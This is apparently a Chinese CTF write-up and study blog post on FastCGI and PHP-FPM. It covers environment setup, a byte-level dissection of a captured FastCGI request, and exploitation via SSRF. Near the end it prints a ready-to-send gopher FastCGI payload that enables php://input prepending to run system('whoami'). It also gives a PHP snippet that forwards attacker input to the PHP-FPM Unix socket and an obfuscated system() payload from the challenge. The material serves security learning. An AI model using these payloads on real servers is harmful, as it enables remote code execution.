前言

同样是上周的 *CTF 的 Web 题目,题目用 PHP 仿写了函数调用栈,主要思路是栈溢出 + PHP-FPM 绕过 disable_functions,相关的 payload 脚本已经有前辈大师傅们写好了,因为我对 PHP 的几种模式了解得不是很清楚,所以研究学习一下,再写篇文章加以总结。

https://bugs.php.net/bug.php?id=70134

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75


环境搭建

为了方便研究,首先用 docker 搭个全新环境,使用的是 Ubuntu18 得镜像:

apt-get update
apt-get install software-properties-common
add-apt-repository -y ppa:ondrej/php
apt-get install php7.3 php7.3-fpm tzdata vim apache2 nginx tcpdump curl

使用 add-apt-repository 能方便地在 Ubuntu 下安装各种新版本的软件。修改 nginx 配置文件,跟 PHP-FPM 搭起来,也可以在上面的 index 配置中加上 index.php:

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    # With php-fpm (or other unix sockets):
    # fastcgi_pass unix:/var/run/php/php7.3-fpm.sock;
    # With php-cgi (or other tcp sockets):
    fastcgi_pass 127.0.0.1:9000;
}

同时修改 PHP-FPM 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf,改为监听端口 9000,方便我们抓包进行观察。

mod_php、CGI、FastCGI、PHP-FPM

文章:http://www.php.cn/php-weizijiaocheng-392861.html

mod_php

经常使用 Apache + PHP 的肯定对 mod_php 不陌生,在这种模式中,PHP 作为 Apache 中的一个模块存在:

LoadModule php7_module /usr/lib/apache2/modules/libphp7.3.so

而 php7.3.conf 中的配置如下:

<FilesMatch ".+\.ph(ar|p|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
    SetHandler application/x-httpd-php-source
    # Deny access to raw php sources by default
    # To re-enable it's recommended to enable access to the files
    # only in specific virtual host or directory
    Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(ar|p|ps|tml)$">
    Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

所以当我们向符合正则 .+.ph(ar|p|tml)$ 的文件发起 HTTP 请求的时候,Apache 就会把它作为 PHP 文件来处理,调用 php7_module 来进行解析并返回结果。PHP 模块再通过 SAPI 跟 PHP 进行数据交互:https://www.cnblogs.com/orlion/p/5157280.html 。在 PHP 的源码中,当需要调用 Web 服务器相关信息时,全部通过 SAPI 接口中对应的方法调用实现,而这些方法在各个服务器抽象层实现时都会有各自的实现。通过 SAPI,PHP 就可以获得来自其他应用(比如 Apache)的数据。

这种模式将 PHP 模块安装到 Apache 中,所以每一次 Apache 结束请求,都会产生一条进程,这个进程就完整的包括 PHP 的各种运算计算等操作。Apache 每接收一个请求,都会产生一个进程来连接 PHP 通过 SAPI 来完成请求,可想而知,如果一旦用户过多,并发数过多,服务器就会承受不住了。而且,把 mod_php 编进 Apache 时,出问题时很难定位是 PHP 的问题还是 Apache 的问题。

CGI

参考文章:https://www.cnblogs.com/wanghetao/p/3934350.html

CGI 我用的不多,所以直接贴文章的内容了。

CGI(Common Gateway Interface)全称是“通用网关接口”,WEB 服务器与 PHP 应用进行“交谈”的一种工具,其程序须运行在网络服务器上。CGI 可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如 PHP、Perl 等。

CGI 程序通过标准输入(STDIN)和标准输出(STDOUT)来进行输入输出。此外 CGI 程序还通过环境变量来得到输入,操作系统提供了许多环境变量,它们定义了程序的执行环境,应用程序可以存取它们。Web 服务器和 CGI 接口又另外设置了一些环境变量,用来向 CGI 程序传递一些重要的参数。CGI 的 GET 方法还通过环境变量 QUERY-STRING 向 CGI 程序传递 Form 中的数据。

WEB服务器会传哪些数据给PHP解析器呢?URL、查询字符串、POST 数据、HTTP header 都会有。所以,CGI 就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。

也就是说,CGI 就是专门用来和 Web 服务器打交道的。Web 服务器收到用户请求,就会把请求提交给 CGI 程序(如 PHP-CGI ),CGI 程序根据请求提交的参数作应处理(解析 PHP ),然后输出标准的 HTML 语句,返回给 Web 服务器,Web 服务器再返回给客户端,这就是普通 CGI 的工作原理。

CGI 的好处就是完全独立于任何服务器,仅仅是做为中间分子。提供接口给 Apache 和 PHP。他们通过 CGI 搭线来完成数据传递。这样做的好处了尽量减少2个的关联,使他们2变得更独立。

但是 CGI 有个不好的地方,就是每一次 Web 请求都会有启动和退出过程,也就是最为人诟病的 fork-and-execute 模式,这样一在大规模并发下,就死翘翘了。

FastCGI

从根本上来说,FastCGI 是用来提高 CGI 程序性能的。类似于 CGI,FastCGI 也可以说是一种协议。

FastCGI 像是一个常驻(long-live)型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去 fork 一次。它还支持分布式的运算, 即 FastCGI 程序可以在网站服务器以外的主机上执行,并且接受来自其它网站服务器来的请求。

FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能。众所周知,CGI 解释器的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中,并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。

FastCGI 将 Web 服务器跟脚本解析完全分离,处理方式类似反向代理,Web 服务器负责将 HTTP 请求处理一遍之后,按照 FastCGI 协议的规范将请求转交给 FastCGI,然后等待 FastCGI 处理完毕后再将响应返回给客户端。这种方式可以让 HTTP 服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。

FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程(可建多个 php-cgi ),并等待来自 Web Server 的连接。

当客户端请求到达 Web Server 时,FastCGI 进程管理器选择并连接到一个 CGI 解释器。Web server 将 CGI 环境变量和标准输入发送到 FastCGI 子进程 php-cgi。

FastCGI 子进程完成处理后,将标准输出和错误信息从同一连接返回 Web Server。当 FastCGI 子进程关闭连接时,请求便告处理完成。FastCGI 子进程接着等待,并处理来自 FastCGI 进程管理器(运行在 Web Server 中)的下一个连接。

因为 FastCGI 运行在内存中,所以它会消耗更多的服务器内存。

PHP-FPM

PHP-FPM 是 FastCGI 的一种具体实现:https://www.php.net/manual/zh/install.fpm.php

主要有两种交互方式:TCP 和 Unix socket。

Unix socket(Unix domain socket/IPC)主要用于 Unix 系统中的进程间通信,它是全双工的,因为是本地通信,它仅仅复制数据,并不执行协议处理,不需要添加或删除网络报头,无需计算检验和,不要产生顺序号,无需发送确认报文。所以它的效率要高于网络 socket。熟悉 MySQL 的人就会联想到,在连接本地 MySQL 的时候经常使用的也是这种通信方式。


FastCGI协议

首先自己抓个包来玩玩:

tcpdump -i lo port 9000 -w fastcgi.pcap

然后写个 PHP 自己去访问一下,把抓到的包下载到本地打开,过滤一下只看请求包:

tcp.dstport==9000

可以看到一个 0x0000 协议的包,我们追踪 TCP 流看到请求内容。

对 FastCGI 协议的分析可以看这几篇文章:

https://www.cnblogs.com/caiguoqing/p/4933085.html

https://blog.csdn.net/shreck66/article/details/50355729

大致上 record 头的结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

而几种常用的 type 的意思分别是:

type值 具体含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7

现在我们可以开始分析我们自己的包了,我的包如下:

00000000  01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00   ........ ........
00000010  01 04 00 01 03 80 00 00  09 00 50 41 54 48 5f 49   ........ ..PATH_I
00000020  4e 46 4f 0f 17 53 43 52  49 50 54 5f 46 49 4c 45   NFO..SCR IPT_FILE
00000030  4e 41 4d 45 2f 76 61 72  2f 77 77 77 2f 68 74 6d   NAME/var /www/htm
00000040  6c 2f 69 6e 64 65 78 2e  70 68 70 0c 00 51 55 45   l/index. php..QUE
00000050  52 59 5f 53 54 52 49 4e  47 0e 03 52 45 51 55 45   RY_STRIN G..REQUE
00000060  53 54 5f 4d 45 54 48 4f  44 47 45 54 0c 00 43 4f   ST_METHO DGET..CO
00000070  4e 54 45 4e 54 5f 54 59  50 45 0e 00 43 4f 4e 54   NTENT_TY PE..CONT
00000080  45 4e 54 5f 4c 45 4e 47  54 48 0b 0a 53 43 52 49   ENT_LENG TH..SCRI
00000090  50 54 5f 4e 41 4d 45 2f  69 6e 64 65 78 2e 70 68   PT_NAME/ index.ph
000000A0  70 0b 0a 52 45 51 55 45  53 54 5f 55 52 49 2f 69   p..REQUE ST_URI/i
000000B0  6e 64 65 78 2e 70 68 70  0c 0a 44 4f 43 55 4d 45   ndex.php ..DOCUME
000000C0  4e 54 5f 55 52 49 2f 69  6e 64 65 78 2e 70 68 70   NT_URI/i ndex.php
000000D0  0d 0d 44 4f 43 55 4d 45  4e 54 5f 52 4f 4f 54 2f   ..DOCUME NT_ROOT/
000000E0  76 61 72 2f 77 77 77 2f  68 74 6d 6c 0f 08 53 45   var/www/ html..SE
000000F0  52 56 45 52 5f 50 52 4f  54 4f 43 4f 4c 48 54 54   RVER_PRO TOCOLHTT
00000100  50 2f 31 2e 31 0e 04 52  45 51 55 45 53 54 5f 53   P/1.1..R EQUEST_S
00000110  43 48 45 4d 45 68 74 74  70 11 07 47 41 54 45 57   CHEMEhtt p..GATEW
00000120  41 59 5f 49 4e 54 45 52  46 41 43 45 43 47 49 2f   AY_INTER FACECGI/
00000130  31 2e 31 0f 0c 53 45 52  56 45 52 5f 53 4f 46 54   1.1..SER VER_SOFT
00000140  57 41 52 45 6e 67 69 6e  78 2f 31 2e 31 34 2e 30   WAREngin x/1.14.0
00000150  0b 0b 52 45 4d 4f 54 45  5f 41 44 44 52 ?? ?? 2e   ..REMOTE _ADDR??.
00000160  ?? ?? 2e ?? ?? 2e ?? ??  0b 05 52 45 4d 4f 54 45   ??.??.?? ..REMOTE
00000170  5f 50 4f 52 54 32 36 39  37 32 0b 0a 53 45 52 56   _PORT269 72..SERV
00000180  45 52 5f 41 44 44 52 31  37 32 2e 31 37 2e 30 2e   ER_ADDR1 72.17.0.
00000190  32 0b 02 53 45 52 56 45  52 5f 50 4f 52 54 38 30   2..SERVE R_PORT80
000001A0  0b 01 53 45 52 56 45 52  5f 4e 41 4d 45 5f 0f 03   ..SERVER _NAME_..
000001B0  52 45 44 49 52 45 43 54  5f 53 54 41 54 55 53 32   REDIRECT _STATUS2
000001C0  30 30 09 15 48 54 54 50  5f 48 4f 53 54 ?? ?? ??   00..HTTP _HOST???
000001D0  ?? ?? ?? ?? ?? ?? ?? ??  ?? 2e 63 6e 3a 33 32 37   ???????? ?.cn:327
000001E0  37 30 0f 0a 48 54 54 50  5f 43 4f 4e 4e 45 43 54   70..HTTP _CONNECT
000001F0  49 4f 4e 6b 65 65 70 2d  61 6c 69 76 65 0b 08 48   IONkeep- alive..H
00000200  54 54 50 5f 50 52 41 47  4d 41 6e 6f 2d 63 61 63   TTP_PRAG MAno-cac
00000210  68 65 12 08 48 54 54 50  5f 43 41 43 48 45 5f 43   he..HTTP _CACHE_C
00000220  4f 4e 54 52 4f 4c 6e 6f  2d 63 61 63 68 65 1e 01   ONTROLno -cache..
00000230  48 54 54 50 5f 55 50 47  52 41 44 45 5f 49 4e 53   HTTP_UPG RADE_INS
00000240  45 43 55 52 45 5f 52 45  51 55 45 53 54 53 31 0f   ECURE_RE QUESTS1.
00000250  6e 48 54 54 50 5f 55 53  45 52 5f 41 47 45 4e 54   nHTTP_US ER_AGENT
00000260  4d 6f 7a 69 6c 6c 61 2f  35 2e 30 20 28 57 69 6e   Mozilla/ 5.0 (Win
00000270  64 6f 77 73 20 4e 54 20  31 30 2e 30 3b 20 57 4f   dows NT  10.0; WO
00000280  57 36 34 29 20 41 70 70  6c 65 57 65 62 4b 69 74   W64) App leWebKit
00000290  2f 35 33 37 2e 33 36 20  28 4b 48 54 4d 4c 2c 20   /537.36  (KHTML, 
000002A0  6c 69 6b 65 20 47 65 63  6b 6f 29 20 43 68 72 6f   like Gec ko) Chro
000002B0  6d 65 2f 37 33 2e 30 2e  33 36 38 33 2e 31 30 33   me/73.0. 3683.103
000002C0  20 53 61 66 61 72 69 2f  35 33 37 2e 33 36 0b 76    Safari/ 537.36.v
000002D0  48 54 54 50 5f 41 43 43  45 50 54 74 65 78 74 2f   HTTP_ACC EPTtext/
000002E0  68 74 6d 6c 2c 61 70 70  6c 69 63 61 74 69 6f 6e   html,app lication
000002F0  2f 78 68 74 6d 6c 2b 78  6d 6c 2c 61 70 70 6c 69   /xhtml+x ml,appli
00000300  63 61 74 69 6f 6e 2f 78  6d 6c 3b 71 3d 30 2e 39   cation/x ml;q=0.9
00000310  2c 69 6d 61 67 65 2f 77  65 62 70 2c 69 6d 61 67   ,image/w ebp,imag
00000320  65 2f 61 70 6e 67 2c 2a  2f 2a 3b 71 3d 30 2e 38   e/apng,* /*;q=0.8
00000330  2c 61 70 70 6c 69 63 61  74 69 6f 6e 2f 73 69 67   ,applica tion/sig
00000340  6e 65 64 2d 65 78 63 68  61 6e 67 65 3b 76 3d 62   ned-exch ange;v=b
00000350  33 14 0d 48 54 54 50 5f  41 43 43 45 50 54 5f 45   3..HTTP_ ACCEPT_E
00000360  4e 43 4f 44 49 4e 47 67  7a 69 70 2c 20 64 65 66   NCODINGg zip, def
00000370  6c 61 74 65 14 0e 48 54  54 50 5f 41 43 43 45 50   late..HT TP_ACCEP
00000380  54 5f 4c 41 4e 47 55 41  47 45 7a 68 2d 43 4e 2c   T_LANGUA GEzh-CN,
00000390  7a 68 3b 71 3d 30 2e 39  01 04 00 01 00 00 00 00   zh;q=0.9 ........
000003A0  01 05 00 01 00 00 00 00                            ........ 

我们可以看到这里有很多在 PHP 的 SERVER 全局变量中很眼熟的参数,我们将它进行拆分,第一个包为:

01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00

其中前 8 位位 FastCGI record 的头,它的意思即:

  • version 为 01
  • type 为 01,表示这是第一个包
  • 00 01 表示通信 ID 为 1
  • 00 08 表示 body 大小为8
  • 00 00 表示 padding 长度为 0,没有保留字节

后 8 位则是 body,它的意思是:

  • 00 01 为 role,表示 PHP-FPM 接受我们的 HTTP 所关联的信息,并产生个响应
    role 的取值如下表:

    | role值 | 具体含义 |
    | —— | ———————————————————— |
    | 1 | 最常用的值,php-fpm接受我们的http所关联的信息,并产生个响应 |
    | 2 | php-fpm会对我们的请求进行认证,认证通过的其会返回响应,认证不通过则关闭请求 |
    | 3 | 过滤请求中的额外数据流,并产生过滤后的http响应 |

  • 00 表示不 keep-alive,在处理完一次请求就关闭

  • 五个 00 为保留字段

可以看见第一个包只是一些初始设置,接下来我们看第二个包,我们先看头:

01 04 00 01 03 80 00 00
  • 01 为 version
  • 04 说明在这个包中传递了环境参数
  • 00 01 为通信 ID
  • 03 80 说明 body 长度为 0x380,即 896,正好是总长度(936) - 两个包(32) - 头(8)
  • 00 00 表示 padding 长度为 0,没有保留字节

type = 4,body 的格式如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

我们来看这个包的 body,我们可以看到在一般情况下,键和值的长度用一个字节来表示就足够了,我们可以按照格式将 body 切分成很多个键值对:

# -*- coding:utf8 -*-
data = "" # 抓到的整个包
data = data[24:-16]
point = 0
while point < len(data):
    key_len = ord(data[point])
    value_len = ord(data[point + 1])
    point += 2
    print data[point: point + key_len] + ": " + data[point + key_len: point + key_len + value_len]
    point += key_len + value_len

效果:

PATH_INFO: 
SCRIPT_FILENAME: /var/www/html/index.php
QUERY_STRING: 
REQUEST_METHOD: GET
CONTENT_TYPE: 
CONTENT_LENGTH: 
SCRIPT_NAME: /index.php
REQUEST_URI: /index.php
DOCUMENT_URI: /index.php
DOCUMENT_ROOT: /var/www/html
SERVER_PROTOCOL: HTTP/1.1
REQUEST_SCHEME: http
GATEWAY_INTERFACE: CGI/1.1
SERVER_SOFTWARE: nginx/1.14.0
REMOTE_ADDR: ??.??.??.??
REMOTE_PORT: 26972
SERVER_ADDR: 172.17.0.2
SERVER_PORT: 80
SERVER_NAME: _
REDIRECT_STATUS: 200
HTTP_HOST: ????????????.cn:32770
HTTP_CONNECTION: keep-alive
HTTP_PRAGMA: no-cache
HTTP_CACHE_CONTROL: no-cache
HTTP_UPGRADE_INSECURE_REQUESTS: 1
HTTP_USER_AGENT: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
HTTP_ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
HTTP_ACCEPT_ENCODING: gzip, deflate
HTTP_ACCEPT_LANGUAGE: zh-CN,zh;q=0.9

最后我们来看看最后一个包:

01 04 00 01 00 00 00 00 01 05 00 01 00 00 00 00

这似乎不是一个包,看起来应该是环境参数包的结尾,加上一个 type = 5(即 POST 提交的数据)的包的头,不过因为我们是 GET 请求,所以这个包没有 body。type = 5 的包(Stdin 数据包),这种包比较简单,body 就是 POST 的 body,比如 *CTF 的 payload 里面的包(拆开):

01 05 14 EC 01 1B 00 00
<?php system(gzinflate(base64_decode("jY7BCsIwDIZfJRTBVZzDHVf1ohdPE9QHKFvcCrUraacIPrztHJ487BKS///+JBZJQ4ow7x3CU5JRpnEiDs6TqvzQHk/7oigtmlzM3rCFtajaWlHCMsbF/QUzq+ogd5FIFl3v8yUslAmVrTJCWd+0bBiHjqBWOCQIrX6FzCbSO2FJGQ/ny6G8XkZTTIPiMmncEymA+JA6+Tp8xMMbwH4IE1FIdzfduzbhYsqJf9qU3BRm/gE=")));
01 05 14 EC 00 00 00 00

对 FastCGI 的分析到这里就结束了,分析过 FastCGI 协议后,自己写脚本也不是那么难了呢。

当然,菜鸡的我自然还是用大师傅们写好的脚本 √ 。


PHP-FPM利用方式

ph 牛早已做过研究:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

主要的攻击方式:SSRF 发送 TCP 包(TCP),或者通过 stream_socket_client(Unix socket)。

虽然能执行的只有服务器上已经存在的 PHP 文件,但是我们可以通过设置 auto_prepend_file = php://input 且 allow_url_include = On,然后将 PHP 代码放在 POST body 中即可 RCE。

我们稍加修改 ph 牛的脚本中的 request 函数,将 开头的连接判断 和 send 注释掉,直接 return request 进行输出即可,system(“whoami”) 的 payload 如下:

%01%01%C8%0C%00%08%00%00%00%01%00%00%00%00%00%00%01%04%C8%0C%01%DB%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%C8%0C%00%00%00%00%01%05%C8%0C%00%17%00%00%3C%3Fphp%20system%28%22whoami%22%29%3B%01%05%C8%0C%00%00%00%00

使用 CURL 的 Gopher 协议进行发包,或者也可以使用 socket 进行连接。

如果 PHP-FPM 使用的是 Unix socket,则需要执行如下的 PHP 代码:

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');fputs($sock, $_GET['code']);var_dump(fread($sock, 4096));

然后提交 payload 即可。


参考文章:

https://xz.aliyun.com/t/5006#toc-3

https://github.com/sixstars/starctf2019/tree/master/web-echohub


CTF Web FastCGI

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

虚拟机环境搭建
*CTF2019-996game复现/nodejs+mongodb使用